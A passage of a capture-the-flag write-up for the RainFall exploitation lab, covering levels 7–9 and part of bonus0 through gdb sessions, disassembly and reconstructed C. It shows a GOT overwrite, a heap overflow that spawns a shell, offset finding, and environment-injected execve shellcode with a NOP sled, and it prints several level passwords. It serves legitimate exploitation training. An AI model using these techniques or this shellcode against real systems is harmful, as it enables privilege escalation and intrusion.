- We wrote 16 bytes after the malloc call ! The program doesn't segfault as we're still in the same memory page, usually of size 4096
Note that I changed the value of 2
assigned with some '\x01', doing '\x00' instead would cause the strcpy() to stop
- Now let's try to overwrite the puts() call:
level7@RainFall:~$ objdump -R ./level7
./level7: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049904 R_386_GLOB_DAT __gmon_start__
08049914 R_386_JUMP_SLOT printf
08049918 R_386_JUMP_SLOT fgets
...
08049928 R_386_JUMP_SLOT puts
...
# Back in gdb
(gdb) r $(python -c 'print "A"*16')$(echo -n -e '\x01\x01\x01\x02')$(echo -n -e '\x28\x99\x04\x08') $(echo -n -e 'BBBB')
Starting program: /home/user/level7/level7 $(python -c 'print "A"*16')$(echo -n -e '\x01\x01\x01\x02')$(echo -n -e '\x28\x99\x04\x08') $(echo -n -e 'BBBB')
Breakpoint 1, 0x080485a5 in main ()
(gdb) continue
Continuing.
Breakpoint 2, 0x080485c2 in main ()
(gdb) set {char}0x080486fb='7'
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
- Our EIP has changed to the address we wrote at the location of puts() ! Let's try again with the address of the m() function
(gdb) r $(python -c 'print "A"*16')$(echo -n -e '\x01\x01\x01\x02')$(echo -n -e '\x28\x99\x04\x08') $(echo -n -e '\xf4\x84\x04\x08')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/level7/level7 $(python -c 'print "A"*16')$(echo -n -e '\x01\x01\x01\x02')$(echo -n -e '\x28\x99\x04\x08') $(echo -n -e '\xf4\x84\x04\x08')
Breakpoint 1, 0x080485a5 in main ()
(gdb) continue
Continuing.
Breakpoint 2, 0x080485c2 in main ()
(gdb) set {char}0x080486fb='7'
(gdb) continue
Continuing.
f73dcb7a06f60e3ccc608990b0a046359d42a1a0489ffeefd0d9cb2d7c9cb82d
- 1584111922
[Inferior 1 (process 2912) exited normally]
- Do the same without gdb calling ptrace() so we can setuid()
level7@RainFall:~$ ./level7 $(python -c 'print "A"*16')$(echo -n -e '\x01\x01\x01\x02')$(echo -n -e '\x28\x99\x04\x08') $(echo -n -e '\xf4\x84\x04\x08')
5684af5cb4c8679958be4abe6373147ab52d95768e047820bf382e44fa8d8fb9
- 1584111992
level7@RainFall:~$ su level8
Password:
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH /home/user/level8/level8
level8@RainFall:~$
Dump of assembler code for function main:
0x08048564 <+0>: push ebp ; ASM Prologue
0x08048565 <+1>: mov ebp,esp ; ASM Prologue
0x08048567 <+3>: push edi ; Push edi to the stack
0x08048568 <+4>: push esi ; Push esi to the stack
0x08048569 <+5>: and esp,0xfffffff0 ; Align esp
0x0804856c <+8>: sub esp,0xa0 ; Allocate 160 bytes on the stack
0x08048572 <+14>: jmp 0x8048575 <main+17> ; Goto main+17
0x08048574 <+16>: nop
0x08048575 <+17>: mov ecx,DWORD PTR ds:0x8049ab0 ; printf "%p", *0x8049ab0 -> "(nil)" ; printf "%u", *0x8049ab0 -> 0
0x0804857b <+23>: mov edx,DWORD PTR ds:0x8049aac ; printf "%p", *0x8049aac -> "(nil)" ; printf "%u", *0x8049aac -> 0
0x08048581 <+29>: mov eax,0x8048810 ; printf "%s", 0x8048810 -> "%p, %p"
0x08048586 <+34>: mov DWORD PTR [esp+0x8],ecx
0x0804858a <+38>: mov DWORD PTR [esp+0x4],edx
0x0804858e <+42>: mov DWORD PTR [esp],eax
0x08048591 <+45>: call 0x8048410 <printf@plt> ; Call printf("%p, %p", 0x8049aac, 0x8049ab0);
0x08048596 <+50>: mov eax,ds:0x8049a80 ; <stdin@@GLIBC_2.0>
0x0804859b <+55>: mov DWORD PTR [esp+0x8],eax ; Save stdin as 3rd argument of fgets()
0x0804859f <+59>: mov DWORD PTR [esp+0x4],0x80 ; Save 0x80 after esp
0x080485a7 <+67>: lea eax,[esp+0x20] ; Set eax to the address of esp - 32 (last 128 bytes)
0x080485ab <+71>: mov DWORD PTR [esp],eax ; Set eax as 1st argument of fgets()
0x080485ae <+74>: call 0x8048440 <fgets@plt> ; Call fgets(esp - 32, 128, stdin);
; char *fgets(char * restrict str, int size, FILE * restrict stream);
0x080485b3 <+79>: test eax,eax ; if (eax == 0) error occured
0x080485b5 <+81>: je 0x804872c <main+456> ; jump to main+456
0x080485bb <+87>: lea eax,[esp+0x20] ; Set eax to start of fgets pointer
0x080485bf <+91>: mov edx,eax ; Set edx to eax
0x080485c1 <+93>: mov eax,0x8048819 ; Set eax to 0x8048819 (gdb) printf "%s", 0x8048819 -> "auth "
0x080485c6 <+98>: mov ecx,0x5 ; Set ecx to 5
0x080485cb <+103>: mov esi,edx ; set esi to edx (start of fgets pointer)
0x080485cd <+105>: mov edi,eax ; Set edi to eax ("auth ")
0x080485cf <+107>: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi] ; Compare 5 first bytes of esi & edi
0x080485d1 <+109>: seta dl ; Set dl to above flag (*(rsi + 5) > *(rdi + 5))
0x080485d4 <+112>: setb al ; Set al to below flag (*(rsi + 5) < *(rdi + 5))
0x080485d7 <+115>: mov ecx,edx ; Set ecx to edx (start of fgets return pointer)
0x080485d9 <+117>: sub cl,al ; Substitute al from cl
0x080485db <+119>: mov eax,ecx ; Set eax to ecx
0x080485dd <+121>: movsx eax,al ; Set eax to al
0x080485e0 <+124>: test eax,eax ; if (eax != 0)
0x080485e2 <+126>: jne 0x8048642 <main+222> ; Jump to main+222
0x080485e4 <+128>: mov DWORD PTR [esp],0x4
0x080485eb <+135>: call 0x8048470 <malloc@plt> ; Call malloc(4)
0x080485f0 <+140>: mov ds:0x8049aac,eax ; Set eax into 0x8049aac
0x080485f5 <+145>: mov eax,ds:0x8049aac
0x080485fa <+150>: mov DWORD PTR [eax],0x0 ; Set the variable pointed by eax to 0
0x08048600 <+156>: lea eax,[esp+0x20] ; Set eax to the pointer of fgets
0x08048604 <+160>: add eax,0x5 ; Add 5 to eax
0x08048607 <+163>: mov DWORD PTR [esp+0x1c],0xffffffff ; Set the 28th byte of the stack memory to 0xffffffff
0x0804860f <+171>: mov edx,eax ; Set edx to eax
0x08048611 <+173>: mov eax,0x0 ; Set eax to 0
0x08048616 <+178>: mov ecx,DWORD PTR [esp+0x1c] ; Set ecx to the value of the 28th byte of the stack (0xffffffff)
0x0804861a <+182>: mov edi,edx ; Set edx to edx
0x0804861c <+184>: repnz scas al,BYTE PTR es:[edi] ; With edi = esp+0x25 / 37 (0xbffff669)
; while(ecx != 0) {
; ecx = ecx - 1;
; if(ZF == 1) break;
; }
0x0804861e <+186>: mov eax,ecx ; Set eax to ecx (len of the repnz scas operation)
0x08048620 <+188>: not eax ; Reverse eax bytes
0x08048622 <+190>: sub eax,0x1 ; Subsitute 1 for starting byte from eax
0x08048625 <+193>: cmp eax,0x1e ; Compare eax to 0x1e / 30
0x08048628 <+196>: ja 0x8048642 <main+222> ; Jump if Above (unsigned comparison) -> goto main+222
0x0804862a <+198>: lea eax,[esp+0x20] ; Set eax to esp-0x20
0x0804862e <+202>: lea edx,[eax+0x5] ; Set edx to esp-0x25
0x08048631 <+205>: mov eax,ds:0x8049aac ; Set eax to 0x8049aac
0x08048636 <+210>: mov DWORD PTR [esp+0x4],edx ; Set edx as 2nd argument of strcpy
0x0804863a <+214>: mov DWORD PTR [esp],eax ; Set eax as 1st argument of strcpy
0x0804863d <+217>: call 0x8048460 <strcpy@plt> ; Call strcpy(0x8049aac, esp+0x25)
; char *strcpy(char * dst, const char * src);
0x08048642 <+222>: lea eax,[esp+0x20]
0x08048646 <+226>: mov edx,eax ; Set edx to esp+0x20
0x08048648 <+228>: mov eax,0x804881f ; Set eax to 0x804881f
0x0804864d <+233>: mov ecx,0x5 ; Set ecx to 5
0x08048652 <+238>: mov esi,edx ; Set esi to edx (esp+0x20)
0x08048654 <+240>: mov edi,eax ; Set edi to eax (0x804881f) ; printf "%s", 0x804881f -> "reset"
0x08048656 <+242>: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi] ; Compare first 5 bytes of esi & edi
0x08048658 <+244>: seta dl ; Set dl to above flag
0x0804865b <+247>: setb al ; Set al to below flag
0x0804865e <+250>: mov ecx,edx ; Set ecx to esp+0x20
0x08048660 <+252>: sub cl,al ; Substitute al from cl
0x08048662 <+254>: mov eax,ecx ; Set eax to ecx
0x08048664 <+256>: movsx eax,al ; Set eax to al
0x08048667 <+259>: test eax,eax ; If (eax != 0)
0x08048669 <+261>: jne 0x8048678 <main+276> ; Goto main+276
0x0804866b <+263>: mov eax,ds:0x8049aac
0x08048670 <+268>: mov DWORD PTR [esp],eax
0x08048673 <+271>: call 0x8048420 <free@plt> ; Call free(0x8049aac)
0x08048678 <+276>: lea eax,[esp+0x20]
0x0804867c <+280>: mov edx,eax ; Set edx to esp+20
0x0804867e <+282>: mov eax,0x8048825 ; printf "%s", 0x8048825 -> "service"
0x08048683 <+287>: mov ecx,0x6 ; Set ecx to 6
0x08048688 <+292>: mov esi,edx ; Set esi to edx
0x0804868a <+294>: mov edi,eax ; Set edi to eax
0x0804868c <+296>: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi] ; Compare first 6 bytes of edi & esi
0x0804868e <+298>: seta dl ; Set dl to above flag
0x08048691 <+301>: setb al ; Set al to below flag
0x08048694 <+304>: mov ecx,edx ; Set ecx to edx
0x08048696 <+306>: sub cl,al ; Sub al from cl
0x08048698 <+308>: mov eax,ecx ; Set eax to ecx
0x0804869a <+310>: movsx eax,al ; Set eax to al
0x0804869d <+313>: test eax,eax ; if (eax != 0)
0x0804869f <+315>: jne 0x80486b5 <main+337> ; Goto main+337
0x080486a1 <+317>: lea eax,[esp+0x20] ; Set eax to the value pointed by esp+0x20
0x080486a5 <+321>: add eax,0x7 ; Add 7 to eax
0x080486a8 <+324>: mov DWORD PTR [esp],eax ; Set eax as 1st argument of strdup
0x080486ab <+327>: call 0x8048430 <strdup@plt> ; Call strdup([esp+0x20] + 0x7)
0x080486b0 <+332>: mov ds:0x8049ab0,eax
0x080486b5 <+337>: lea eax,[esp+0x20]
0x080486b9 <+341>: mov edx,eax
0x080486bb <+343>: mov eax,0x804882d ; printf "%s", 0x804882d -> "login"
0x080486c0 <+348>: mov ecx,0x5 ; Set ecx to 5
0x080486c5 <+353>: mov esi,edx ; Set esi to esp+0x20
0x080486c7 <+355>: mov edi,eax ; Set edi to 0x804882d // "login"
0x080486c9 <+357>: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
0x080486cb <+359>: seta dl
0x080486ce <+362>: setb al
0x080486d1 <+365>: mov ecx,edx
0x080486d3 <+367>: sub cl,al
0x080486d5 <+369>: mov eax,ecx
0x080486d7 <+371>: movsx eax,al
0x080486da <+374>: test eax,eax ; if (eax != 0)
0x080486dc <+376>: jne 0x8048574 <main+16> ; Goto main+16
0x080486e2 <+382>: mov eax,ds:0x8049aac ; Set eax to 0x8049aac
0x080486e7 <+387>: mov eax,DWORD PTR [eax+0x20] ; Set eax to eax+0x20 (0x8049acc)
0x080486ea <+390>: test eax,eax ; If (eax == 0)
0x080486ec <+392>: je 0x80486ff <main+411> ; Goto main+411
0x080486ee <+394>: mov DWORD PTR [esp],0x8048833 ; Set bin/sh as 1st argument of system ; printf "%s", 0x8048833 -> "/bin/sh"
0x080486f5 <+401>: call 0x8048480 <system@plt> ; Call system("/bin/sh");
0x080486fa <+406>: jmp 0x8048574 <main+16>
0x080486ff <+411>: mov eax,ds:0x8049aa0
0x08048704 <+416>: mov edx,eax
0x08048706 <+418>: mov eax,0x804883b ; (gdb) printf "%s", 0x804883b -> "Password:\n"
0x0804870b <+423>: mov DWORD PTR [esp+0xc],edx
0x0804870f <+427>: mov DWORD PTR [esp+0x8],0xa
0x08048717 <+435>: mov DWORD PTR [esp+0x4],0x1
0x0804871f <+443>: mov DWORD PTR [esp],eax ; Set eax as 1st argument of fwrite
0x08048722 <+446>: call 0x8048450 <fwrite@plt> ; Call fwrite("Password:\n", 1, 10, 0x8049aa0);
0x08048727 <+451>: jmp 0x8048574 <main+16>
0x0804872c <+456>: nop
0x0804872d <+457>: mov eax,0x0 ; Set eax to 0
0x08048732 <+462>: lea esp,[ebp-0x8] ; De-allocate stack memory allocated with esp
0x08048735 <+465>: pop esi
0x08048736 <+466>: pop edi
0x08048737 <+467>: pop ebp
0x08048738 <+468>: ret
End of assembler dump.
unsigned void **val[2] = {NULL, NULL}; // 0x8049aac, 0x8049ab0
int main() {
unsigned char buf[128]; // 0xbffff650
START: printf("%p, %p", val[0], val[1]);
if (fgets(buf, 128, stdin) != 0)
{
ecx = 5;
esi = buf;
edi = "auth "; // 0x8048819
while (*esi == *edi && ecx > 0) {
esi++;
edi++;
ecx--;
}
if (*(rsi + 5) < *(rdi + 5) == 0)
{
val[0] = malloc(4); // 0x804a008, then 0x804a008 + (0x10 * iteration)
edi = buf + 37;
ecx = -1;
while(ecx != 0) {
ecx = ecx - 1;
if (ZF == 1) break;
}
if (!(eax > 30))
strcpy(/* 0x8049aac */ val[0], buf + 37);
}
ecx = 5;
esi = buf;
edi = "reset"; // 0x804881f
while (*esi == *edi && ecx > 0) {
esi++;
edi++;
ecx--;
}
if (*(rsi + 5) < *(rdi + 5) == 0)
{
free(/* 0x8049aac */ val[0]);
}
ecx = 6;
esi = buf;
edi = "service"; // 0x8048825
while (*esi == *edi && ecx > 0) {
esi++;
edi++;
ecx--;
}
if (*(rsi + 6) < *(rdi + 6) == 0)
{
/* *0x8049ab0 */ val[1] = strdup(buf + 7); // 0xbffff657
}
ecx = 5;
esi = buf;
edi = "login"; // 0x804882d
while (*esi == *edi && ecx > 0) {
esi++;
edi++;
ecx--;
}
if (*(rsi + 6) < *(rdi + 6) == 0)
{
if ((/* 0x8049aac */ *(val[0] + 0x20) /* 0x8049acc */)) == 0)
system("/bin/sh");
fwrite("Password:\n", 1, 10, 0x8049aa0);
}
goto START;
}
return 0;
}
- After spending a lot of time trying to find what was wrong with the program, the if condition before the system() call caught my attention
It uses the address stored in val[0] by malloc (0x804a008) and compares 32 bytes after it (0x804a028), even through if the value in val[0] is the address of a malloc(4), the goal here will be to write to this byte
- If we want to use 0x804a008 (val[0]) at our starting point, we should then write 0x20 (32) bytes, unfortunately for us, if we want to use the strcpy call
strcpy(val[0], buf + 37);
with an input like:
level8@RainFall:~$ echo auth\ $(python -c 'print "A"*32')$(python -c 'print "B"*4')
[auth ][AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA][BBBB]
- 5 1st bytes set to "auth " to pass the comparison and pass in the strcpy()
- 32*"A" To reach 37 bytes, start of our strcpy source pointer
- The bytes we want to write at 0x804a028
the condition if (!(eax > 30))
is preventing us to do so, as our buffer is longer than 30 characters
-
I then tried to use the strdup() instruction
val[1] = strdup(buf + 7);
, when using strdup after val[0] has been set to the 1st malloc call, val[1] will be passed 0x804a018 (16 bytes after the 1st malloc) -
To write to the compared bytes before the shell instruction, we should then write (0x804a028 - 0x804a018) = 0x10 / 16 bytes after "service", there is no if conditions on the length of our buffer this time, so let's try it !
level8@RainFall:~$ echo 'auth ' > /tmp/input # Initialize val[0] to the 1st malloc call (0x804a008)
level8@RainFall:~$ echo 'service'$(python -c 'print "A"*16')$(python -c 'print "B"*4') >> /tmp/input # Set val[1] to strdup("AAAAAAAAAAAAAAAABBBB"), allocated at 0x804a018
level8@RainFall:~$ echo login >> /tmp/input
level8@RainFall:~$ gdb -x /tmp/gdb ./level8
...
(gdb) b *main+390
Breakpoint 1 at 0x80486ea
(gdb) r </tmp/input
Starting program: /home/user/level8/level8 </tmp/input
(nil), (nil)
0x804a008, (nil)
0x804a008, 0x804a018
Breakpoint 1, 0x080486ea in main ()
(gdb) i r
eax 0x42424242 1111638594 # eax is set to "BBBB" !
ecx 0xbffff600 -1073744384
edx 0xbffff600 -1073744384
ebx 0xb7fd0ff4 -1208152076
esp 0xbffff630 0xbffff630
ebp 0xbffff6d8 0xbffff6d8
esi 0xbffff655 -1073744299
edi 0x8048832 134514738
eip 0x80486ea 0x80486ea <main+390>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) exit
level8@RainFall:~$ cat /tmp/input - | ./level8
(nil), (nil)
0x804a008, (nil)
0x804a008, 0x804a018
pwd
/home/user/level8
whoami
level9
cat /home/user/level9/.pass
c542e581c5ba5162a85f767996e3247ed619ef6c6f7b76a59435545dc6259f8a
class N { // ebp+0x8
public :
char annotation[100]; // ebp+0x8 + 0x4 | size : 0x64 (0x68 - 0x4)
int value; // ebp+0x8 + 0x68
N(int val) : value(val) {} // 0x080486f6
void setAnnotation(char *str) { // 0x0804870e
int len = strlen(str);
memcpy(annotation, str, len);
}
int operator+(N const &rhs) { // 0x0804873a
return value + rhs.value;
}
int operator-(N const &rhs) { // 0x0804874e
return value - rhs.value;
}
};
int main(int ac, char **av)
{
if (ac <= 1)
_exit(1);
N *a = new N(5); // esp+0x1c
N *b = new N(6); // esp+0x18
N *c = a; // esp+0x14
N *d = b; // esp+0x10
c->setAnnotation(av[1]);
return (*d + *c);
}
# Crash avec pytnon 200
- We can see the program crashes with a lot of characters, let's grab a pattern from this site to find the offset where the program crashes
level9@RainFall:~$ gdb ./level9
...
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Starting program: /home/user/level9/level9 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Program received signal SIGSEGV, Segmentation fault.
0x08048682 in main ()
(gdb) info registers
eax 0x41366441 1094083649
ecx 0x67413567 1732326759
edx 0x804a0d4 134521044
ebx 0x804a078 134520952
esp 0xbffff620 0xbffff620
ebp 0xbffff648 0xbffff648
esi 0x0 0
edi 0x0 0
eip 0x8048682 0x8048682 <main+142>
eflags 0x210287 [ CF PF SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
- By inputting the value of eax at the time the program crashes into the EIP value section of the website, we can see the crashing offset is
108
Dump of assembler code for function main:
0x080485a4 <+0>: push ebp ; ASM Prologue
0x080485a5 <+1>: mov ebp,esp ; ASM Prologue
0x080485a7 <+3>: and esp,0xfffffff0 ; ASM Prologue
0x080485aa <+6>: sub esp,0x40 ; Allocate 0x40 bytes / 64
0x080485ad <+9>: lea eax,[esp+0x16] ; Set eax to esp+0x16 (22th byte of the stack)
0x080485b1 <+13>: mov DWORD PTR [esp],eax ; Push eax
0x080485b4 <+16>: call 0x804851e <pp> ; Call pp(eax)
0x080485b9 <+21>: lea eax,[esp+0x16] ; Set eax to esp+0x16 (22th byte of the stack)
0x080485bd <+25>: mov DWORD PTR [esp],eax ; Push eax
0x080485c0 <+28>: call 0x80483b0 <puts@plt> ; Call puts(eax)
0x080485c5 <+33>: mov eax,0x0 ; Set 0 as return value
0x080485ca <+38>: leave
0x080485cb <+39>: ret
End of assembler dump.
Dump of assembler code for function pp:
0x0804851e <+0>: push ebp
0x0804851f <+1>: mov ebp,esp
0x08048521 <+3>: push edi
0x08048522 <+4>: push ebx
0x08048523 <+5>: sub esp,0x50 ; Allocate 0x50 (80) bytes
0x08048526 <+8>: mov DWORD PTR [esp+0x4],0x80486a0 ; Push 0x80486a0 as 2nd argument of p (gdb) printf "%s", 0x80486a0 -> " - "
0x0804852e <+16>: lea eax,[ebp-0x30] ; Set eax to ebp-0x30 (48th byte of the stack)
0x08048531 <+19>: mov DWORD PTR [esp],eax ; Push eax
0x08048534 <+22>: call 0x80484b4 <p> ; Call p(ebp-0x30, " - ")
0x08048539 <+27>: mov DWORD PTR [esp+0x4],0x80486a0 ; Push 0x80486a0 as 2nd argument of p (gdb) printf "%s", 0x80486a0 -> " - "
0x08048541 <+35>: lea eax,[ebp-0x1c] ; Set eax to ebp-0x1c (28th byte of the stack)
0x08048544 <+38>: mov DWORD PTR [esp],eax ; Push eax
0x08048547 <+41>: call 0x80484b4 <p> ; Call p(ebp-0x1c, " - ")
0x0804854c <+46>: lea eax,[ebp-0x30] ; Set eax to ebp-0x30
0x0804854f <+49>: mov DWORD PTR [esp+0x4],eax ; Push eax as 2nd argument of strcpy
0x08048553 <+53>: mov eax,DWORD PTR [ebp+0x8] ; Set eax to ebp (1st argument of pp)
0x08048556 <+56>: mov DWORD PTR [esp],eax ; Push eax
0x08048559 <+59>: call 0x80483a0 <strcpy@plt> ; call strcpy(ebp+0x8, ebp-0x30)
0x0804855e <+64>: mov ebx,0x80486a4 ; Set ebx to 0x80486a4
0x08048563 <+69>: mov eax,DWORD PTR [ebp+0x8] ; Set eax to the value of the first argument of pp
0x08048566 <+72>: mov DWORD PTR [ebp-0x3c],0xffffffff ; Set *ebp-0x3c (60th byte) to 0
0x0804856d <+79>: mov edx,eax
0x0804856f <+81>: mov eax,0x0
0x08048574 <+86>: mov ecx,DWORD PTR [ebp-0x3c]
0x08048577 <+89>: mov edi,edx
0x08048579 <+91>: repnz scas al,BYTE PTR es:[edi] ; https://stackoverflow.com/questions/26783797/repnz-scas-assembly-instruction-specifics
0x0804857b <+93>: mov eax,ecx : Set eax to ecx
0x0804857d <+95>: not eax ; !eax
0x0804857f <+97>: sub eax,0x1 ; Remove 1 to eax
0x08048582 <+100>: add eax,DWORD PTR [ebp+0x8] ; Add the value of the 1st argument of pp to eax
0x08048585 <+103>: movzx edx,WORD PTR [ebx] ;
0x08048588 <+106>: mov WORD PTR [eax],dx
0x0804858b <+109>: lea eax,[ebp-0x1c] ; Set eax to ebp-0x1c (28th byte of the stack)
0x0804858e <+112>: mov DWORD PTR [esp+0x4],eax : Set eax as 2nd argument of strcat
0x08048592 <+116>: mov eax,DWORD PTR [ebp+0x8] ; Set eax to 1st argument of pp
0x08048595 <+119>: mov DWORD PTR [esp],eax : Push eax
0x08048598 <+122>: call 0x8048390 <strcat@plt> ; Call strcat(pp_1st_arg, eax)
0x0804859d <+127>: add esp,0x50 : free allocated bytes
0x080485a0 <+130>: pop ebx
0x080485a1 <+131>: pop edi
0x080485a2 <+132>: pop ebp
0x080485a3 <+133>: ret
End of assembler dump.
Dump of assembler code for function p:
0x080484b4 <+0>: push ebp
0x080484b5 <+1>: mov ebp,esp
0x080484b7 <+3>: sub esp,0x1018 ; Allocate 0x1018 (4120) bytes on the stack
0x080484bd <+9>: mov eax,DWORD PTR [ebp+0xc] ; Set eax to 2nd argument of p
0x080484c0 <+12>: mov DWORD PTR [esp],eax ; Push eax
0x080484c3 <+15>: call 0x80483b0 <puts@plt> ; Call puts(p_2nd_arg)
0x080484c8 <+20>: mov DWORD PTR [esp+0x8],0x1000 ; Set 3rd argument of read to 4096
0x080484d0 <+28>: lea eax,[ebp-0x1008] ; Set eax to 4104th byte of the stack
0x080484d6 <+34>: mov DWORD PTR [esp+0x4],eax ; Set eax to 2nd argument of read
0x080484da <+38>: mov DWORD PTR [esp],0x0 ; Set 0 as 1st argument of read
0x080484e1 <+45>: call 0x8048380 <read@plt> ; Call read(0, ebp-0x1004, 4096)
0x080484e6 <+50>: mov DWORD PTR [esp+0x4],0xa ; Set 2nd argument of strchr to 0xa (10)
0x080484ee <+58>: lea eax,[ebp-0x1008] ; Set eax to 4104th byte of the stack
0x080484f4 <+64>: mov DWORD PTR [esp],eax ; Set the 1st argument of strchr to eax
0x080484f7 <+67>: call 0x80483d0 <strchr@plt> ; Call strchr(ebp-0x1004, 10);
0x080484fc <+72>: mov BYTE PTR [eax],0x0 ; Set the value of the return address of strchr to 0
0x080484ff <+75>: lea eax,[ebp-0x1008] ; Set eax to ebp-0x1008
0x08048505 <+81>: mov DWORD PTR [esp+0x8],0x14 ; Set the 3rd argument of strncpy to 0x14 (20)
0x0804850d <+89>: mov DWORD PTR [esp+0x4],eax ; Set the 2nd argument of strncpy to eax
0x08048511 <+93>: mov eax,DWORD PTR [ebp+0x8] ; Set eax to the 1st argument of p
0x08048514 <+96>: mov DWORD PTR [esp],eax ; Set eax as the 1st argument of strncpy
0x08048517 <+99>: call 0x80483f0 <strncpy@plt> ; Call strncpy(p_1st_arg, ebp-0x1008, 20)
0x0804851c <+104>: leave
0x0804851d <+105>: ret
End of assembler dump.
void p(char *p_1st_arg, char *p_2nd_arg)
{
char buff[4104];
puts(p_2nd_arg);
read(0, buff, 4096);
*strchr(buff, 10 /* '\n' */) = 0;
strncpy(p_1st_arg, buff, 20);
return;
}
void pp(char *pp_1st_arg)
{
char str1[20];
char str2[20];
p(str1, " - ");
p(str2, " - ");
strcpy(pp_1st_arg, str1);
pp_1st_arg[strlen(pp_1st_arg)] = 32; // ' '
strcat(pp_1st_arg, str2);
return;
}
int main()
{
unsigned char buf[64];
pp(buf + 22);
puts(buf + 22);
return (0);
}
bonus0@RainFall:~$ ./bonus0
-
a
-
a
a a
bonus0@RainFall:~$ python -c 'print "A" * 50'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bonus0@RainFall:~$ ./bonus0
-
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
Without looking at the code, we can see the program segfaults when we pass large strings
Let's grab a string from https://projects.jason-rush.com/tools/buffer-overflow-eip-offset-string-generator/ and try again to find EIP offset
(gdb) r
Starting program: /home/user/bonus0/bonus0
-
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2...
-
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac...
Aa0Aa1Aa2Aa3Aa4Aa5AaAa0Aa1Aa2Aa3Aa4Aa5Aa Aa0Aa1Aa2Aa3Aa4Aa5Aa
Program received signal SIGSEGV, Segmentation fault.
0x41336141 in ?? ()
With Eip equals to 0x41336141
, we know our offset is 9!
Let's inject a shellcode in our environment
export SHELLCODE="$(echo -n -e '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80')"
bonus0@RainFall:~$ gdb ./bonus0
(gdb) b main
Breakpoint 1 at 0x80485a7
(gdb) r
Starting program: /home/user/bonus0/bonus0
Breakpoint 1, 0x080485a7 in main ()
(gdb) x/1s *((char **)environ)
0xbffff8b6: "SHELLCODE=j\vX\231Rfh-p\211\341Rjhh/bash/bin\211\343RQS\211\341Í€"
We can see our shellcode is stored at address 0xbffff8b6 + 0xa (equals to strlen("SHELLCODE="))
so 0xbffff8c0
To be sure it is hit, let's add a big enough nopsled and try to execute the shellcode
bonus0@RainFall:~$ export SHELLCODE=$(python -c 'print "\x90" * 4096 + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"')
bonus0@RainFall:~$ gdb ./bonus0 --eval-command='b main' --eval-command='r' --eval-command='print *((char **)environ)' --eval-command='quit'
...
Breakpoint 1 at 0x80485a7
Starting program: /home/user/bonus0/bonus0
Breakpoint 1, 0x080485a7 in main ()
